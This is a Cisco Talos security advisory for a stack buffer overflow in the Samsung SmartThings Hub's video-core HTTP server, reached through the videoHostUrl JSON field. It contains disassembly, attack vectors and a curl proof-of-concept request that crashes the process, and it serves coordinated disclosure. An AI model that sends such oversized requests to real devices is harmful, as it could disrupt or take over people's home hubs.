Headline
CVE-2018-3872: TALOS-2018-0554 || Cisco Talos Intelligence Group
An exploitable buffer overflow vulnerability exists in the credentials handler of video-core’s HTTP server of Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17. The video-core process incorrectly extracts the videoHostUrl field from a user-controlled JSON payload, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.
Summary
An exploitable buffer overflow vulnerability exists in the credentials handler of video-core’s HTTP server of Samsung SmartThings Hub. The video-core process incorrectly extracts the videoHostUrl field from a user-controlled JSON payload, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.
Tested Versions
Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17
Product URLs
https://www.smartthings.com/products/smartthings-hub
CVSSv3 Score
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE
CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
Details
Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.
The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.
One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they’re both in the same subnetwork.
Inside the hub, the livestream is handled by the video-core process, which uses ffmpeg to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.
The remote SmartThings servers have the possibility to communicate with the video-core process by sending messages in the persistent TLS connection, established by the hubCore process. These messages can encapsulate an HTTP request, which hubCore would relay directly to the HTTP server exposed by video-core. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.
We identified a vulnerable request that can be exploited to achieve code execution on the video-core process, which is running as root. By sending a POST request for the “/credentials” path it’s possible modify the credentials used by the hub to connect to remote servers.
Such request is handled by function sub_3E4EC:
.text:0003E4EC sub_3E4EC
.text:0003E4EC
.text:0003E4EC dest = -0xCB4
.text:0003E4EC value = -0xCB0
.text:0003E4EC var_CAC = -0xCAC
.text:0003E4EC var_CA0 = -0xCA0
.text:0003E4EC var_C90 = -0xC90
.text:0003E4EC var_C50 = -0xC50
.text:0003E4EC var_A70 = -0xA70
.text:0003E4EC var_14 = -0x14
.text:0003E4EC arg_0 = 4
.text:0003E4EC arg_4 = 8
.text:0003E4EC
.text:0003E4EC 000 MOV R12, #:lower16:stru_C1D38
.text:0003E4F0 000 STMFD SP!, {R4-R7,R11,LR}
.text:0003E4F4 018 MOVT R12, #:upper16:stru_C1D38
.text:0003E4F8 018 ADD R11, SP, #0x14
...
.text:0003E564 CC0 BL http_required_json_parameters ; [1]
.text:0003E568 CC0 CMP R0, #0
.text:0003E56C CC0 BNE loc_3E594
...
.text:0003E594 loc_3E594
.text:0003E594 000 MOV R0, R4
.text:0003E598 000 BL json_tokener_parse ; [2]
.text:0003E59C 000 SUBS R6, R0, #0
.text:0003E5A0 000 BEQ loc_3E93C
.text:0003E5A4 000 MOV R1, #:lower16:aS3 ; "s3"
.text:0003E5A8 000 SUB R2, R11, #-value
.text:0003E5AC 000 MOVT R1, #:upper16:aS3 ; "s3"
...
.text:0003E5BC 000 SUB R4, R11, #-var_A70
.text:0003E5C0 000 SUB R5, R11, #-var_A70
.text:0003E5C4 000 SUB R4, R4, #4
.text:0003E5CC
...
.text:0003E860 000 MOV R1, #:lower16:aVideohosturl ; "videoHostUrl"
.text:0003E864 000 MOV R0, R6
.text:0003E868 000 SUB R2, R11, #-value
.text:0003E86C 000 MOVT R1, #:upper16:aVideohosturl ; "videoHostUrl"
.text:0003E870 000 BL json_object_object_get_ex ; [3]
...
.text:0003E890 000 LDR R0, [R11,#value]
.text:0003E894 000 BL json_object_to_json_string ; [4]
.text:0003E898 000 MOV R7, R0
.text:0003E89C 000 BL strlen
.text:0003E8A0 000 MOV R2, R4
.text:0003E8A4 000 MOV R1, R0
.text:0003E8A8 000 MOV R3, #0xFF
.text:0003E8AC 000 MOV R0, R7
.text:0003E8B0 000 BL sub_3E2A4 ; [5]
Note that the binary embeds the “json-c” library from https://github.com/json-c/json-c, that is used to manage JSON objects.
The function initially calls http_required_json_parameters at [1] to verify that all the required parameters are specified in the JSON request, the parameters are: s3.secretKey, s3.accessKey, s3.sessionToken, s3.bucket, s3.directory, s3.region, videoHostUrl.
The library function json_tokener_parse [2] is then used to parse the POST data, and a JSON object is returned. At [3] json_object_object_get_ex is used to retrieve the “videoHostUrl” parameter from the main JSON object. This function, in turn, returns a new JSON object from which a string is extracted, using json_object_to_json_string [4]. Finally, sub_3E2A4 [5] is called to parse the value extracted from the “videoHostUrl” key. The parameters are, in order: the URI string, the URI string length, the destination buffer where the parsed URI is to be stored, the value 255 (that is the destination buffer size). Note that the destination buffer is stored on the stack.
.text:0003E2A4 sub_3E2A4
.text:0003E2A4
.text:0003E2A4 000 STMFD SP!, {R4-R8,R11,LR}
.text:0003E2A8 01C ADD R12, R1, #0x14
.text:0003E2AC 01C ADD R11, SP, #0x18
.text:0003E2B0 01C SUB SP, SP, #0x8A0
.text:0003E2B4 8BC BIC R12, R12, #7
.text:0003E2B8 8BC SUB SP, SP, #4
.text:0003E2BC 8C0 SUB SP, SP, R12
.text:0003E2C0 8C0 ADD R4, SP, #0x8BC+s
.text:0003E2C4 8C0 MOV R8, R3
.text:0003E2C8 8C0 MOV R6, R0
.text:0003E2CC 8C0 MOV R7, R2
.text:0003E2D0 8C0 MOV R5, R1
.text:0003E2D4 8C0 ADD R2, R1, #0xD
.text:0003E2D8 8C0 MOV R0, R4
.text:0003E2DC 8C0 MOV R1, #0
.text:0003E2E0 8C0 BL memset
.text:0003E2E4 8C0 MOV R2, R8
.text:0003E2E8 8C0 MOV R1, #0
.text:0003E2EC 8C0 MOV R0, R7
.text:0003E2F0 8C0 BL memset
.text:0003E2F4 8C0 MOV R1, #:lower16:aHttp_0 ; "http"
.text:0003E2F8 8C0 MOV R0, R6
.text:0003E2FC 8C0 MOV R2, #4
.text:0003E300 8C0 MOVT R1, #:upper16:aHttp_0 ; "http"
.text:0003E304 8C0 BL strncmp ; [6]
.text:0003E308 8C0 CMP R0, #0
.text:0003E30C 8C0 BNE loc_3E454
.text:0003E310
.text:0003E310 loc_3E310
.text:0003E310 8C0 MOV R1, R6
.text:0003E314 8C0 MOV R2, R5
.text:0003E318 8C0 MOV R0, R4
.text:0003E31C 8C0 SUB R5, R11, #-var_37C
.text:0003E320 8C0 BL strncat ; [7]
.text:0003E324 8C0 MOV R0, R4
.text:0003E328 8C0 BL strlen ; [8]
.text:0003E32C 8C0 MOV R8, R0
.text:0003E330 8C0 MOV R1, R4
.text:0003E334 8C0 MOV R0, R5 ; [9] URI struct
.text:0003E338 8C0 MOV R2, R8
.text:0003E33C 8C0 BL uriParser ; [10]
.text:0003E340 8C0 SUBS R6, R0, #0
.text:0003E344 8C0 BNE loc_3E36C
...
.text:0003E454 loc_3E454
.text:0003E454 000 MOV R3, #aHttps ; "https://"
.text:0003E45C 000 LDMIA R3!, {R0,R1} ; "https://"
.text:0003E460 000 LDRB R3, [R3] ; ""
.text:0003E464 000 STR R0, [SP,#-4+arg_358]
.text:0003E468 000 STR R1, [R4,#4]
.text:0003E46C 000 STRB R3, [R4,#8]
.text:0003E470 000 B loc_3E310
...
.text:0003E36C loc_3E36C
.text:0003E36C 000 LDRB R3, [R11,#var_1C8] ; [11]
.text:0003E370 000 MOV R2, #0
.text:0003E374 000 STR R2, [R11,#var_560]
.text:0003E378 000 CMP R3, R2
.text:0003E37C 000 BNE loc_3E438
...
.text:0003E438 loc_3E438
.text:0003E438 000 MOV R0, R7
.text:0003E43C 000 MOV R1, R4
.text:0003E440 000 MOV R2, R8
.text:0003E444 000 BL memcpy ; [12]
.text:0003E448 000 MOV R0, R6
.text:0003E44C 000 SUB SP, R11, #0x18
.text:0003E450 01C LDMFD SP!, {R4-R8,R11,PC}
If the supplied videoHostUrl doesn’t start with “http” [6], the string “https://” is inserted in front [7]. The function uriParser [10] is then called for tokenizing the URI into the structure passed as first parameter [9]. At [11] the “port” field of the structure is retrieved, and if not null, the resulting URI from [7] is copied into r7 [12], which is the destination buffer passed as third argument to the function. Note that the length argument of the memcpy [12] is set from the strlen output at [8]. At high level this would be:
memcpy(stack_buffer, uri, strlen(uri))
Since the videoHostUrl parameter is controlled by the user, there is no restriction on the length of the copy operation, which allows for overflowing the stack buffer and execute arbitrary code.
We identified two different vectors that allow for exploiting this vulnerability:
- Anyone able to impersonate the remote SmartThings servers can send arbitrary HTTP requests to hubCore that would be relayed without modification to the vulnerable video-core process.
- SmartThings SmartApps allow for creating custom applications that can be either published directly into the device itself or on the public marketplace. A SmartApp is executed inside the hubCore process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable video-core process.
A third vector might exist, which we didn’t test. This would consist of sending a malicious request from the SmartThings mobile application to the remote SmartThings servers. In turn, depending on the remote APIs available, the servers could relay the malicious payload back to the device via the persistent TLS connection. To use this vector, an attacker would need to own a valid OAuth bearer token, or the relative username and password pair to obtain it.
Exploit Proof of Concept
The following proof of concept shows how to crash the video-core process:
# using curl from inside the hub, but the same request could be sent using a SmartApp
$ sUrl=http://127.0.0.1:1234/$(perl -e 'print "A"x4000')
$ curl -vv -X POST 'http://127.0.0.1:3000/credentials' -d '{"s3":{"accessKey":"","secretKey":"","sessionToken":"","region":"","bucket":"","directory":""},"videoHostUrl":"'${sUrl}'"}'
Timeline
2018-04-09 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.